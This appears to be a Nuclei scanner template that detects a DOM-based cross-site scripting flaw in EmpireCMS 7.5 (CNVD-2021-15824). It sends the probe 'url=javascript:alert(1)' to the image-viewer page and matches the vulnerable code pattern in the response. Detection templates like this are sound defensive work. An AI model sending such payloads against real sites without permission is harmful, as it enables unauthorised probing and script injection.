id: CNVD-2021-15824 info: name: EmpireCMS 7.5 - Cross-Site Scripting author: daffainfo,pikpikcu severity: high description: EmpireCMS is vulnerable to a DOM based cross-site scripting attack. reference: - https://sourceforge.net/projects/empirecms/ - https://www.bilibili.com/read/cv10441910 - https://vul.wangan.com/a/CNVD-2021-15824 - https://github.com/leadscloud/EmpireCMS/issues/4 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 1 tags: cnvd2021,cnvd,empirecms,xss,domxss http: - method: GET path: - "{{BaseURL}}/e/ViewImg/index.html?url=javascript:alert(1)" matchers-condition: and matchers: - type: word part: body words: - 'if(Request("url")!=0)' - 'href=\""+Request("url")+"\"' condition: and - type: status status: - 200 # digest: 490a0046304402206ee0264e332ef668bc46fdd8cdb2496fc0fdfcb71334e500b11d0ed036dfba64022025f4bdb1a75b771cae2b246bd7d9d00ddcbd34ece08cd44b8e3698d89cd0062a:922c64590222798bb761d5b6d8e72950